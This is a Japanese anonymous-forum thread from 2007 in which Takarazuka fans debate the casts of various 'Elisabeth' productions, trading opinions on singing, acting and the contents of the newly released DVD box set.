一路トートは真面目だけがとりえの優等生って感じ。
美しくも妖しくも面白くもなく、二度と聴きたいとは思わん。
せっかくの歌唱力も持ち腐れ。
お好きな方、どこに魅力をお感じで?? 本気で知りたいです。


325 :名無しさん@花束いっぱい。:2007/08/17(金) 15:56:05 ID:x6Ib8nme
初演は美化されるからね、でもこうDVD化されたんじゃ
初演もくそもないか、確かにイチロのトートは初演だから
誉められるんだと思う今日この頃。
男役十ウン年やってきた割に、つっ立って感情まるきりなく
時々出てきては歌うだけの能無しトートぽいな今となっては。

まあ、苦労したらしいけどね(初演だから・・)
雪だけ別物に見えるつう輩も別スレでみたから、
歌うだけで精一杯だったでしょうと同情もしたが
他生徒は立派に役柄演じてるからなあ?イチロだけが大根か。

326 :名無しさん@花束いっぱい。:2007/08/17(金) 15:56:05 ID:gBYHI8W/
他の主要キャストははまり役だけど、
一路さんだけ初演の中で浮いてる気がする…。
歌も癖があるからヲサの方が好きだな。

327 :名無しさん@花束いっぱい。:2007/08/17(金) 15:58:16 ID:gBYHI8W/
↑でも初演雪の絶妙な配役を考慮すれば許せるレベル。

328 :名無しさん@花束いっぱい。:2007/08/17(金) 16:06:43 ID:Fnu4ksgP
水ファン、初演を槍玉にあげるとは怖いもの知らず。

329 :名無しさん@花束いっぱい。:2007/08/17(金) 16:19:27 ID:x6Ib8nme
プフウ。。。
水ファンが初演叩きと思ってるめでたいねえ、思ってるほど
評判よくないいんよ、イチロタン。
イチロが最低に1000堕トートポイント

330 :名無しさん@花束いっぱい。:2007/08/17(金) 17:00:02 ID:4E7G+sTK
亀レスだが・・・
>>304の「ゆみこの歌に聴き入ってしまった」に同意
ゆみこ、素敵!(*´ω`*)

331 :名無しさん@花束いっぱい。:2007/08/17(金) 17:17:47 ID:64+vXS6x
エリザはもともと紙芝居みたいなミュージカルなんだよね。
だから歌唱で客をひっぱれないとチョトつらい
しかも曲が平板だから歌唱力が露骨に問われる
今回はアンサンブルに救われた面もあったと思う
DVDは東京で収録してほしかった

332 :名無しさん@花束いっぱい。:2007/08/17(金) 17:35:48 ID:jsEknQ3U
一路、好きじゃなかったし
大劇で見たときは、単にきっちり歌ってるだけで
面白みも何もないトートだと思ったけど
東宝で楽近くに見たときは、歌だけは俄然良くなってたよ。

むしろ皆が絶賛する他のキャストの方が良いと思った人が少ない。
初演からいい!って思ったのは、轟ルキーニと古代マックスと朱ゾフィーのみ。
花總は綺麗だったし、必死でやってる感じは良かったけど、絶賛までは思わなかった。
高嶺フランツと香寿ルドルフは、下手ではなかったけど魅力がなかった。
特に香寿は・・・あのベチャベチャした歌い方がおばさんっぽくて、見た目もおばさんっぽくて駄目だった。


333 :名無しさん@花束いっぱい。:2007/08/17(金) 17:46:31 ID:7dQdW46U
じゃ結局初演というベールに包まれて美化されてるっつう事で
よろしいかな。

334 :名無しさん@花束いっぱい。:2007/08/17(金) 17:59:42 ID:RUUNTS9R
10年経っても一路と香寿の闇広最高って思ってる人間ここにいるんでノシノシ
感動して震えとまらんかった。


335 :名無しさん@花束いっぱい。:2007/08/17(金) 18:19:38 ID:7S9fkZFt
突然すみません。
ママを敬愛しているルドルフは多いけれど
「ママは僕の鏡」「私たちは似たもの同士」という関係に見えた
シシィ&ルドって少なくない?

336 :名無しさん@花束いっぱい:2007/08/17(金) 18:41:56 ID:xx8PeiiW
生轟ルキーニをもう一度見たい

337 :名無しさん@花束いっぱい。:2007/08/17(金) 19:03:44 ID:6Jl8B08X
それいうなら、初演シシィを生で観たい!

338 :名無しさん@花束いっぱい。:2007/08/17(金) 19:11:23 ID:o4z5NiyM
334みたいなのがいることは否定しない。
でもここで書かれてる程多数派とはとても思えない。

実際、あの後香寿がそれでブレイクしたわけでもなければ
その後、もう一度一路X香寿の歌が聞きたい!ってファンにお目に掛かったことはジブンはない。
大体、初演エリザの雪組メンバー、あの後誰も人気が上がってない。

339 :名無しさん@花束いっぱい。:2007/08/17(金) 19:22:22 ID:QdXddjcK
>>311
歴代のエリザは特別下手も何も、みんな歌ウマーな娘トプがやってたじゃん。
音痴はとなみが初でしょ。誰と比べてんだ?

340 :名無しさん@花束いっぱい。:2007/08/17(金) 19:27:05 ID:FLFZcIZw
>338
あの後初演雪含めて6回公演があったが、ブレイクらしい
ブレイクしたのは片手もいない

341 :名無しさん@花束いっぱい。:2007/08/17(金) 19:31:56 ID:pqtC2YR3
つーか、歌と芝居にかなりの波がある時点でとなみは舞台人失格。
東京エリザ3回見たけどうち2回は×だった。
1回目 前半はじけすぎで下品で失格
2回目 ヒステリック満開で歌がぶれまくり失格
3回目 相当注意をされたのか、おとなしく無表情で余計な事をして
    いない分、歌に集中できたのか◎
こんなに波があるなら、駄目な日は割引して返金してほしいね。
シシイがイマイチだから、アンサンブルばっか見てた。こんな宝塚観劇は
初めてだった。シナちゃん可愛いね!。

342 :名無しさん@花束いっぱい。:2007/08/17(金) 19:36:58 ID:0gkQbbOk
>歴代のエリザは特別下手も何も、みんな歌ウマーな娘トプがやってたじゃん。

ハナフサさん・・・

343 :名無しさん@花束いっぱい。:2007/08/17(金) 19:42:55 ID:Jn3s/miZ
アサコ・・・。

344 :名無しさん@花束いっぱい。:2007/08/17(金) 19:59:59 ID:uP4NHhDE
何て???

345 :名無しさん@花束いっぱい。:2007/08/17(金) 20:09:23 ID:hKR7I2rT
ハナフサさんもアサコさんもとなみよかマシ。
っていうか、となみは他の誰かに並べて語れるクラスじゃない。
一人だけランクが劣っている。場違いな存在。

346 :名無しさん@花束いっぱい。:2007/08/17(金) 20:13:05 ID:CTLADA5B
となみが出来悪いのはまるっと同意だが
みどりの芝居もアサコの歌も相当酷かったよー
かばってくれるファンが多くてネット操作されてる?
それと一番金返せと思ったのは
星エリザ初日のマリコトート閣下だwww

347 :名無しさん@花束いっぱい。:2007/08/17(金) 20:34:05 ID:uP4NHhDE
となみエリザ、東京は、楽に近づくに連れてよくなったと思う。
ルドの棺の場面なんて、涙したけどなあ。

348 :名無しさん@花束いっぱい。:2007/08/17(金) 20:38:46 ID:I0113y0V
>345
芝居はそうかもしれないが(アサコの芝居がそこまで上手いとも思わないけど)
歌はとなみの東京の方がましだと思うけど?

もっとも、見るたびにとなみの歌の出来は違ってたから
見た日によって感想は違う鴨。

ミドリも最初の頃は、芝居の情感がなくてかなりやばかったし
実際叩かれてた。
東京の楽の頃は、見違えるように良くなってたけど。

349 :名無しさん@花束いっぱい。:2007/08/17(金) 20:42:40 ID:B71AEADI
柩にテルが横たわっているって思って涙出るって言ってたよ

350 :名無しさん@花束いっぱい。:2007/08/17(金) 20:43:09 ID:hKR7I2rT
だからランクが低いんだよ。
柩の場面で哭けるのは当たり前なんだってば。
基本的レベルが劣っているから到達点までが低い…
そんなフォローしかできないことからして、となみの評価チェック箇所自体が新公レベル。

351 :名無しさん@花束いっぱい。:2007/08/17(金) 20:55:18 ID:HYIEskVz
そこまでとなみ酷いかなー。
絶賛される程じゃないのは確かだけど
あとは感性と好みの問題だと思うけど・・・

今回はイコケの「愛と死の輪舞」を体現してた気がするから
水トートにはとなみシシィの演技でも間違いではない気がする
歌が日によって不安定なのは問題だけどね

ID:hKR7I2rTは余程となみシシィが気に入らないみたいだけど
取り敢えずsageてくれ


352 :名無しさん@花束いっぱい。:2007/08/17(金) 20:59:10 ID:SYg7NO7s
「愛と死の輪舞」体現してたってのも、ここだけの意見だからなー


353 :名無しさん@花束いっぱい。:2007/08/17(金) 21:00:06 ID:XCMGmbZY
愛と死とイカの輪舞

354 :名無しさん@花束いっぱい。:2007/08/17(金) 21:06:52 ID:hKR7I2rT
もともと今回の雪再演はウィーン版に近いものを目指したかったんではないの?
最初はそーいう意見多数だったじゃん。
都合のいいすりかえしてまでも、かばいたいのならそれでもいいけど。

355 :名無しさん@花束いっぱい。:2007/08/17(金) 21:29:43 ID:8hX73pXt
>354
つか、ウィーン版の引っ越し公演を見てるわけだから
影響は受けて当然かと。
しかも、少なくとも、ミズ、となみ、ゆみこ、ハマコはクンツェ氏のアドバイスを受けてるんだから
その影響も当然受ける(byCS)。

実際、初日開いて直後の頃は、ゆみことハマコはウィーン版の影響受けてるキガスって感想多かったし。
となみに関しては、それがいいか悪いかはともかく、ウィーン版を見て、宝塚の娘役ヒロインと違って強さが必要だと感じたと言っていたわけで
それを体現すべく?目一杯パワフルにやろうとはしていたわけだから。

ミズに関しては、本人からそういう感想を聞いた覚えもないし、舞台の感想にもウィーン版の影響を感じたってのは見た覚えはないけど。

356 :名無しさん@花束いっぱい。:2007/08/17(金) 21:39:20 ID:MKa/290c
かばうわけではないが、トートがいない場面ではよかったと思ったよ。
でも、トートとの場面では、水トートが感情的な役作りだったから、
トートの気持ちはわかるけど、シシィの気持ちがそれに負けて伝わらなかった。
フランツは感情を抑えてるから、二人の場面はシシィの心のゆれがよくわかった。

357 :名無しさん@花束いっぱい。:2007/08/17(金) 21:43:00 ID:ImHSiGPN
水に限ってだけど舞台のDVD化は難しいね。
東京SS4列目センターで見た時は歴代トートの中で一番芝居が良くて
引き込まれたんだけど、DVDで見ると芝居が細かすぎて見てて疲れました。
水トートが苦手な人の気持ちが少し分かりました。
&水アングルといってもそんなにアップじゃないんだね。宙エリザのイメージが
あったから、もっともっと水アップを期待してたので残念です。

358 :名無しさん@花束いっぱい。:2007/08/17(金) 21:44:04 ID:SYg7NO7s
水トートが変に感情的すぎた。
周囲とのバランス悪かった。

359 :名無しさん@花束いっぱい。:2007/08/17(金) 21:49:21 ID:hKR7I2rT
結局、雪の再演は、水、となみ共にダメだったというFAだね。

360 :名無しさん@花束いっぱい。:2007/08/17(金) 21:50:58 ID:XCMGmbZY
>357
どっかのスレにあったけど、舞台は生で見たら自分の主観で見られるけど
DVDだとカメラという客観が入るから見る側も第3者視線になるんだそうな



361 :名無しさん@花束いっぱい。:2007/08/17(金) 21:54:54 ID:nYhFiyKj
全公演みてるけど...
ぞわぞわ感は水トートが一番だった気がする。

362 :名無しさん@花束いっぱい。:2007/08/17(金) 21:58:11 ID:SYg7NO7s
あれほど人間らしいトートにぞわぞわはしなかったな。
ただ化粧が気持ち悪くて、口元が気になった、そのぞわぞわ感はあったけど。

363 :名無しさん@花束いっぱい。:2007/08/17(金) 22:10:50 ID:1dlVSqfB
周りとのバランスが悪いのが、トートのせいだけ?
感情的すぎるという解釈にも????だけどね、私に言わせると。
ぎりぎりのところで、冷ややかにほくそえんだり、
静かな怒り、余裕の怒り、激しい怒り。
まあ、力説しても無駄か。

364 :名無しさん@花束いっぱい。:2007/08/17(金) 22:15:14 ID:Fnu4ksgP
それこそ、美化されすぎ

365 :名無しさん@花束いっぱい。:2007/08/17(金) 22:16:13 ID:CSLPXkid
>351
イケコって書くヤシはよく見るが、「イコケ」って書くヤシは初めて見たぞw

366 :名無しさん@花束いっぱい。:2007/08/17(金) 22:19:46 ID:cZpPsk25
水VIEWで何度も見てるけど、霊廊で水がターンして赤いナイフを
出すところ、どこから出てるか検討がつきません・・・。誰か教えて!。
ドクトルの水VIEWサイコー!しびれまくり!!全シーン水アングルで
販売希望!

367 :名無しさん@花束いっぱい。:2007/08/17(金) 22:23:11 ID:Sx0ZTFza
>363
ほぼ同意〜。

それに感情的=人間っぽいっていうのはちょっと違うとオモ。
さらにいうと、あの表現を「感情的」っていっちゃうと
ニュアンスが変わるような・・・

そうね、こんなこといっても無駄か。

368 :名無しさん@花束いっぱい。:2007/08/17(金) 23:03:06 ID:tKkwRYVE
同じ大作再演で同じ雪組のベルばらは、あの破綻した脚本でも
よくやった、思ったよりずっと良かったという意見が大半で
後半しりあがりに人気が出てコムの代表作になった。
これに比べ、今回のミズエリザは失敗だったといえる。
トートより全ツのおかまオスカルの方がましだった。

369 :名無しさん@花束いっぱい。:2007/08/17(金) 23:08:23 ID:XCMGmbZY
>368
変な比較はよそうや

370 :名無しさん@花束いっぱい。:2007/08/17(金) 23:19:40 ID:hKR7I2rT
オサも水と同じくエリザがトプお披露目だった。
オサは当時から評価は高かったし、現在も歴代トートの中での評価は高い。
オサにあって水にないものは…本人の歌唱力とよい相手役。
こうして考えてみると、水は貧乏くじをひいた可哀想な人だ。

371 :名無しさん@花束いっぱい。:2007/08/17(金) 23:24:46 ID:Fnu4ksgP
水は周囲のキャストに助けられてたよ。
不運なんて。
お披露目と言っても、学年的には十分恵まれてただろ。

372 :名無しさん@花束いっぱい。:2007/08/17(金) 23:29:42 ID:/nbjM0Ng
終わって一週間近くたつのに、どーーしても今回の雪エリザが失敗と
いいたいのね。何だか痛々しいですね。

コンプリートボックス買って6組楽しんでるけど、
(生でも全組見てる)
そこまで断定するほどの欠陥がある舞台では、決してない。
好き嫌いはもちろんあるだろうけど。

今回の雪は演劇的なアプローチへの挑戦だったのでは。
歌の力だけで説得力を持たせる方向の舞台ではなかったかも
しれないが、最近のオペラもそういう傾向があるように、
リアルな感情表現というか、人物造型をステロタイプに色分けしなかった
ところが、とても興味深かった。白と黒の間、グレイゾーンがある感じ。
見れば見るほど、ハマル。

373 :名無しさん@花束いっぱい。:2007/08/17(金) 23:29:42 ID:jHJFPXSW
わたしは、雪エリザは成功だったと思ってる。
人それぞれなのね、感想って。
あんなに面白かったエリザベートは、無かったわ。

374 :名無しさん@花束いっぱい。:2007/08/17(金) 23:47:23 ID:uP4NHhDE
ID:hKR7I2rT、相当根が深いみたい。


375 :名無しさん@花束いっぱい。:2007/08/17(金) 23:53:09 ID:LTWXdQ8O
周囲の、なんて言わず、
となみやテルがダメだって言えばいいじゃない。

376 :名無しさん@花束いっぱい。:2007/08/18(土) 00:00:12 ID:BlGFl9a9
最終答弁、みずトート、ゆみこフランツに負けてますよ・・・。
勝たなきゃ、話がなりたたない〜。
最後フランツシシー昇天でいんじゃないですか。


377 :名無しさん@花束いっぱい。:2007/08/18(土) 00:00:59 ID:j7utDbcd
根が深いというか、あんなかきわりのように単色単純大袈裟芝居のとなみを
グレイゾーンの白と黒の間の微妙な芝居ができるとか妙な擁護をするから
それは違うでしょと意見を述べているだけです。
演技でみせるというにはあまりに貧弱でお粗末すぎ。

378 :名無しさん@花束いっぱい。:2007/08/18(土) 00:07:48 ID:MY39oaWl
ID:hKR7I2rT=ID:j7utDbcd?
そんなにムキにならなくても。
髪薄くなるよ!!あっ

379 :名無しさん@花束いっぱい。:2007/08/18(土) 00:10:32 ID:FY2riS4I
>376
マジレスするのもなんだけど…
あそこはフランツの方が強くてもいいんじゃないの。
勝った方がシシィを手に入れるという単純なものではないでしょ。

380 :名無しさん@花束いっぱい。:2007/08/18(土) 00:13:21 ID:VIeCm0xY
>379
勝った方が、シシィの真実の愛を手に入れるって設定だと思いますが?

381 :名無しさん@花束いっぱい。:2007/08/18(土) 00:15:13 ID:HpKInthE
いや、そんな深い意味ないんだけど・・・。
ただ、歌完全に負けてるな・・・て思っただけだよん

382 :名無しさん@花束いっぱい。:2007/08/18(土) 00:20:24 ID:MY39oaWl
最終答弁なみのバトルだ。
因みに、歌負けてないよん。

383 :名無しさん@花束いっぱい。:2007/08/18(土) 00:27:18 ID:Dq5HmdcT
いや歌は完全に負けてるだろ。
そしてミルクでは完全にルキーニに負けてる・・・。

384 :名無しさん@花束いっぱい。:2007/08/18(土) 00:28:51 ID:isChK0mp
そんなの一年前からわかってたことだろw

385 :名無しさん@花束いっぱい。:2007/08/18(土) 00:29:40 ID:isChK0mp
>>380
連投すまんが、それはだいぶ違うと思うぞ

386 :名無しさん@花束いっぱい。:2007/08/18(土) 00:49:27 ID:Hhn7sIiO
>>376
IDが大物

387 :名無しさん@花束いっぱい。:2007/08/18(土) 01:18:54 ID:HpKInthE
ほんとだw

388 :名無しさん@花束いっぱい。:2007/08/18(土) 01:21:51 ID:BnquhJew
♪大きいわっ、大物よっ

389 :名無しさん@花束いっぱい。:2007/08/18(土) 02:52:45 ID:943hCN4v
くわぁーー、なんだっけソレ!思い出せないっ
起きたら教えろ>388w

390 :名無しさん@花束いっぱい。:2007/08/18(土) 05:19:03 ID:ustwyAVU
それ、月組で聞いた気がする・・・カエサル??

391 :388:2007/08/18(土) 08:08:45 ID:BnquhJew
うん、暁のローマ。
カエサルを讃える愛人達の歌。
一年前だよw

392 :名無しさん@花束いっぱい。:2007/08/18(土) 11:01:22 ID:+reCMJ3/
スカステご加入の方に伺いたいんですけど、
東宝エリザ千秋楽のニュース、複数カメラで撮られてたでしょうか?

火曜日に見てサクっと消してしまってからどうだっけと思ったのですが、
翌日以降放送がないもので確認できません。
雪スレで楽のカメラ台数を聞いてる方もおられたんですが
回答レスがないので、こちらで質問させていただこうと思いました。
よろしくお願い致します。

393 :名無しさん@花束いっぱい。:2007/08/18(土) 11:20:43 ID:WVvgoLER
>388
元ネタはアミタンのお父様が出てたCMの歌だよね?

394 :名無しさん@花束いっぱい。:2007/08/18(土) 12:09:22 ID:x8KyS5BL
>392
東宝楽、1階は3台カメラが入ってたよ。
2階はわかりません。

395 :名無しさん@花束いっぱい。:2007/08/18(土) 13:04:07 ID:BnquhJew
>>393ああ、wiki見て知ったw

あ〜、あみたんがいたら、
リヒテンシュタインかマダムヴォルフだったんだろうな〜

396 :名無しさん@花束いっぱい。:2007/08/18(土) 13:06:16 ID:+reCMJ3/
>>394
392です。
放映されるか販売されるかわかりませんが、千秋楽舞台収録はあったということですね。
どうもありがとうございました。

397 :名無しさん@花束いっぱい。:2007/08/18(土) 14:00:37 ID:943hCN4v
>393 m9(・∀・)ソレダ!! なんだか知らんがCMだった

>388 おはよう、今起きた
起きて教えてくれたのに、反応したのは↑だったよ、スマン
>390もありまとなぁ

楽いつくらいに放送してくれるかなー

398 :名無しさん@花束いっぱい。:2007/08/18(土) 21:41:14 ID:f3bZo36x
今回の雪が最高でした。お芝居として感動できる。私はトップだけ目立つ演出をするミューが嫌いなので

399 :名無しさん@花束いっぱい。:2007/08/19(日) 00:22:04 ID:VJdHR1NG
♪そっそそくらてすかぷらとんか〜にっにに〜ちぇかさるとるか〜

400 :名無しさん@花束いっぱい。:2007/08/19(日) 00:23:18 ID:sJzNbpHP
>398
再演雪に限らずエリザはトップだけが目立つ作品ではない


401 :名無しさん@花束いっぱい。:2007/08/19(日) 00:24:54 ID:FYrWbrHF
>>399
♪みぃ〜んななやんでおおきくなったぁ〜

402 :名無しさん@花束いっぱい。:2007/08/19(日) 00:26:27 ID:sJzNbpHP
>399>401
おまいら、トシがバレるぞ

あーそろそろ送られてきたDVDBOX開けないとなー
暑くてめんどくさくってさー

403 :名無しさん@花束いっぱい。:2007/08/19(日) 01:24:19 ID:dh85s+ml
皆さんラビットファーなどの毛皮は買う前に
どうやってウサギが殺されるか考えてみて下さい。
生きたまま乱暴に皮を剥がされるそうです。
悲し過ぎます。私達のお洒落のために
安い単価で取引されるので容赦なく殺されています。

404 :名無しさん@花束いっぱい。:2007/08/19(日) 11:53:12 ID:36oXXJx0
エリザBOX、やっと開けて初演を見始めた。

全体的な感想は歌ウマーなんだが、演歌っぽいね。
トート歌、感情なさすぎないか?どの場面も盛り上がりもなくツマラン。手も小さいから手を広げた時の迫力不足。

ゆりちゃんは常にトート横に立ち目立っているね。

花シシィ、いろんな表情があって生き生きとしてる。

ユキフランツの衣装は安っぽくないか? ゾフィはすごい豪華な衣装なのに。

とどルキは男だ。

405 :名無しさん@花束いっぱい。:2007/08/19(日) 16:15:04 ID:tD/OEmIO
うん、私も初演はトートが淡々としてたなーとオモタ。
トドルキは確か外人スタッフからも一人だけ男がいた、って言われたんじゃ?

406 :sage:2007/08/19(日) 16:52:35 ID:uipYfCrE
犬顔家の闇広パロをご覧になった方いませんか。
本家に忙しくてチケ取り損ねたけど、面白いと評判らしいので。

407 :名無しさん@花束いっぱい。:2007/08/19(日) 16:53:03 ID:D/vhy0F2
>405
作曲のリーヴァイさんの奥さんだよ
「女性ばかりの劇団だって聞いてたのに嘘じゃない。一人だけ『男の子』がいる」
って言ってたのが、誰のことかと思えばトドルキのことだったw

408 :名無しさん@花束いっぱい。:2007/08/19(日) 18:05:49 ID:DQnWVHBS
有名な初演時ウィーンスタッフご観劇時の「1人男の子がいる!」ってヤツね>とどルキ。
でもって、ウィーンに一緒に連れて帰りたいって言われた。
多分トドなら、そのままウィーンメンバーに混ぜても女だとばれないと思われたんだろうw
顔も日本人離れした顔だし。

409 :名無しさん@花束いっぱい。:2007/08/19(日) 18:24:19 ID:SNVU7BMF
最初にトドルキが出てきたとき
一瞬外人に見える。

花エリザDVD見た後に、初演DVD見たから
衣装も、歌のリズムにも違和感あったけど
初演が断然一番好きだな〜♪

410 :名無しさん@花束いっぱい。:2007/08/19(日) 19:42:06 ID:c1x/Pbag
初演は基本形って感じ、端正。
以降の組のを見比べる時に、一度初演に戻ってから見ると
それぞれの良さ(敢えて悪さは言わない)がわかる。

411 :名無しさん@花束いっぱい。:2007/08/19(日) 20:43:24 ID:oQCJqjUw
>406
あの『お湯にのぼせる』?すごくしょーもない歌詞ですねー馬鹿にしてるとしか思えん!

412 :名無しさん@花束いっぱい。:2007/08/19(日) 21:06:28 ID:QGRfN6SZ
馬鹿にはしてないと思うよ。
あの演出・脚本してる方はほんっとに宝塚とかエリザとか愛してるから。

413 :名無しさん@花束いっぱい。:2007/08/19(日) 21:18:46 ID:TCD9M8DI
初演の場合、花總、轟、朱、美穂は特に出来がよかったと思う
なのに再演の花總が魅力的でなかったのが残念

414 :名無しさん@花束いっぱい。:2007/08/19(日) 22:31:21 ID:gLIG7ebU
初演雪のリヒテンシュタインのひと超歌下手だね。

415 :名無しさん@花束いっぱい。:2007/08/19(日) 23:43:31 ID:0ZYjkhTC
夜のボートのところでフランツが君の港は?の問いに
シシィが「わからない、でもずっと誰かが待っている」と答えたのに対し
どこなんだい?と聞くのがいつも違和感感じる。
こう答えられたら、フランツとしては「誰なんだ?」
と聞きたくなるのが自然ではないかとw

416 :名無しさん@花束いっぱい。:2007/08/19(日) 23:48:56 ID:hr2+nfHY
>414
あれは黒歴史。初演雪全体の評価を一人で下げてる。

417 :名無しさん@花束いっぱい。:2007/08/19(日) 23:54:48 ID:y+426yKw
>>414,416
記憶の底に封じ込めて忘れてたよw
好きだったんだけどなー。
エリザの世界観にははまらない人だったわ。

418 :名無しさん@花束いっぱい。:2007/08/20(月) 01:39:09 ID:w+x233rU
>413
シシィパパの評価もいいんじゃない?

>415
笑える〜
確かに、シシィを愛するフランツだから
自分ではない誰かが待っていると言われたら、
それは誰だ、誰なんだ!と聞きたくなるかも

419 :名無しさん@花束いっぱい。:2007/08/20(月) 01:40:34 ID:vM3bBAl4
>>415
それは寧ろベルばらの世界w

420 :名無しさん@花束いっぱい。:2007/08/20(月) 08:59:20 ID:zJTTRT2u
初演のリヒテンシュタインの人って?

421 :名無しさん@花束いっぱい。:2007/08/20(月) 09:06:21 ID:Po/eqyiv
小乙女幸だっけ?

私的には星の朋舞花がしんねりした雰囲気であってると思った。
上品ぶってイヤミな感じ?すまん、悪気はないw

422 :名無しさん@花束いっぱい。:2007/08/20(月) 09:45:22 ID:4NDsCTST
>>415
もうフランツには聞こえてないと思う。つーか、聞いてない。聞きたくない。
ここまで逃げられ逃げられて、やっと話せたと思ったら「誰かが」ってアンタ…
待ってるのは俺なのに。誰だよ、その「誰か」って。違う「オレ」か?
だから、あえて「ど こ な ん だ い ??」なんだと思う。
適当に聞き流すって、ある程度の年月を経て得た、波風たてない方法なんですよ。

423 :名無しさん@花束いっぱい。:2007/08/20(月) 09:54:43 ID:BIFsE52u
シシィ自身が「誰か…」って言ってるから、誰かを聞いても無駄ってことでは。
「ずっとあの人が待っている…」だったら聞いたかもw


424 :名無しさん@花束いっぱい。:2007/08/20(月) 10:08:17 ID:zTUqUTTW
確かに、待っている自分(フランツ)を前にして「誰かが待ってる」って、
要はアンタ以外の誰かよ!って二度目の最後通帳突き付けられてるようなw
フランツの脳内でこそ闇が広がりまくったろうにな…

425 :名無しさん@花束いっぱい。:2007/08/20(月) 10:10:09 ID:gckItc4b
ゾフィーは知性的と乱雑のニタイプに分かれている気がする。
知性的 みちるさん、びびあんりー、ハマコ
乱雑 タキさん、はっちさん
みみあんさんどうしようかと思ったけど

426 :名無しさん@花束いっぱい。:2007/08/20(月) 11:15:20 ID:7+g56q4g
「夜のボート」初演はシシィのフランツへの拒否っぷりが凄くて
それ故にすごく泣けるシーンになっていると思う。
ウィーン版も見るにつけ、あそこはあれで正解なのだと再認識、
それ以降のはいずれも(ハナフサの宙版も)シシィのフランツを突き放す感が足りずに
かえって場面の切なさが目減りしていてもったいない。


427 :名無しさん@花束いっぱい。:2007/08/20(月) 11:19:02 ID:v+O7PDfz
>424
フランツかわいそうだぉ(ノω;)

428 :名無しさん@花束いっぱい。:2007/08/20(月) 12:14:01 ID:IsERcbZb
>>421
私もちよさんが一番好きかも。
声はちょっと弱かったけど、音程は外さなかったし。
歌劇の座談会で、
「あなたはダンサーだけど、入団時1番だったんだから歌えるでしょ」
的なことを演出家?歌唱指導?に言われてて、
今まで歌わせてこなかった人に向かって、すごいこと言うな〜と思ったっけ。

429 :名無しさん@花束いっぱい。:2007/08/20(月) 17:26:37 ID:w+x233rU
>426
フランツに初めてキスされる時もちょっと嫌がっているよ。

上にも書いてあるが、りんごさんがダメだね。美穂姉と逆のほうが良かったんじゃ?

絶賛されたほどじゃなかった。

質問なんだが、昔出てたビデオと違う映像?

430 :名無しさん@花束いっぱい。:2007/08/20(月) 18:15:41 ID:5IoOEoMT
>429
同じマスター使ってるから一緒だよ>DVD
特に初演雪星は1、2幕の幕間にIntermissionで使われてる映像まで一緒でワロタけどw

431 :名無しさん@花束いっぱい。:2007/08/20(月) 22:07:52 ID:CjsR0ivM
DVDを字幕付きで見てて思ったのですが、
♪禁じられた愛のタブー
ってNG+NG=OKって感じなんですけど、気にしなくていいのかな?

432 :名無しさん@花束いっぱい。:2007/08/20(月) 22:26:37 ID:1ffvtOM4
禁じられた愛=タブー
NG=NG

433 :名無しさん@花束いっぱい。:2007/08/20(月) 22:46:41 ID:w+x233rU
>430
dクス!
ビデオ見たのが昔過ぎて、フィナーレの一路トートの羽を見た記憶なかったから。
一緒って分かってスッキリしたよ。

434 :名無しさん@花束いっぱい。:2007/08/20(月) 23:33:00 ID:Rv1bOLxL
もしかしたら既出な質問だったら申し訳ないのだが、

特典DVDの花東京千秋楽って、
みどりのサヨナラショーはついてないよねぇ・・・?

435 :名無しさん@花束いっぱい。:2007/08/20(月) 23:44:12 ID:iv0U0zhh
>434
買ってないから詳しいことは知らないけど
特典DVDの花組版は、本編は東宝千秋楽ではないよ。
東宝千秋楽だったら、ジブンは買ってたけど。
ミドリシシィの出来が、東宝の楽日だけやたら良かったから。
本編は普通の日の花東宝エリザで、プラス千秋楽の映像だから
てっきりミドリのサヨナラショーだと思ってた。

436 :名無しさん@花束いっぱい。:2007/08/20(月) 23:44:34 ID:Lr2VHbbq
434さんへ
みどりさんのサヨナラショーはなかったです。退団の挨拶だけです。

437 :名無しさん@花束いっぱい。:2007/08/20(月) 23:57:47 ID:4lc9/SLn
雪エリザのDVDでとなみシシィの私だけにで、何かをふっきったように笑ってから
ナイフをしまうんだけど、シシィ自らの意思でしまってるようにしか見えないから、
その後のルキーニのセリフの閣下が生きながらえさせたがどうも続かない。
既出だと思うけど、となみちゃん、ナ行が全て濁点がつくんだね。鼻炎を治してから
エリザベートをやってほしかった。

438 :名無しさん@花束いっぱい。:2007/08/21(火) 00:38:04 ID:lldECb0b
あそこは歴代シシィも笑ってると思うが。
お花も笑顔のまま倒れてたし。
あやちゃんが前を見据えてナイフ収めた瞬間、後ろでトートが表情変えてる。
ルキの台詞に繋がらないと言うなら昔からでは。


439 :名無しさん@花束いっぱい。:2007/08/21(火) 01:16:01 ID:G2QP/DR+
434です。

435さま、436さま。
早々にお返答下さってありがとうございました。
サヨナラショーついてたらコンプリートBOX買う決心がついたのだけど
もうちょっと考えてみます。
花エリザが好きだから大分悩む所だ・・・参考にさせて頂きます!

440 :名無しさん@花束いっぱい。:2007/08/21(火) 04:07:47 ID:VpfYTPHI
CSでは特典と同じ公演とみどりのサヨナラショーと挨拶やったような気が…
同じ感じで販売されたのかと思ってた

441 :名無しさん@花束いっぱい。:2007/08/21(火) 09:08:08 ID:Z+l6+ScM
トート閣下は彩輝直がはまり役だ。
生で観たかった。

442 :名無しさん@花束いっぱい。:2007/08/21(火) 11:42:46 ID:zEJKDrMv
さえちゃんはビジュ最高だし、色気と妖しさ出まくりでトート閣下にハマッてたけど、ダンスが(ry

いや、大好きだよさえトート!歌、不評らしいけど俺はハスキーで好き

443 :名無しさん@花束いっぱい。:2007/08/21(火) 13:26:00 ID:9JS/ZsLE
さえトート、ビジュアルは一番好き。衣装もよかった。
ほどよい色気、変にくねくねしてないし、淡泊すぎない。

ただし、ダンスは体操、歌は声は太いけど高い音出てない。


444 :名無しさん@花束いっぱい。:2007/08/21(火) 13:44:10 ID:yelVmvve
さえこトートって単品ではいいんだけど
あさこシシィがやっぱり男役の強さ・オーラがあるから
負けてる感があるんだよな

さえこトートは娘役シシィと組んだら
もっとよく見えたかもと思う

445 :名無しさん@花束いっぱい。:2007/08/21(火) 17:15:45 ID:pBB7J04E
さえちゃんはキレイなのに
トートはなんだか猿っぽくて嫌いだった。
あの黒銀白のロンゲ鬘も似合ってなかった
さえちゃん&水さんは短髪トートでも良かったかもなぁって思う。

446 :名無しさん@花束いっぱい。:2007/08/21(火) 22:10:55 ID:GHYfgrob
鈴奈ヴォルフ大げさすぎて嫌だった。
娼館の主人にしても下品すぎて・・・。

447 :名無しさん@花束いっぱい。:2007/08/22(水) 09:49:30 ID:Wcbc+z+0
>431
禁じられた「愛のタブー」、じゃないのかな?

愛のタブー=黄泉の帝王が人間を愛する、ことを禁じられてる、
ってことで。

448 :名無しさん@花束いっぱい。:2007/08/22(水) 14:18:07 ID:KMJ0G/uu
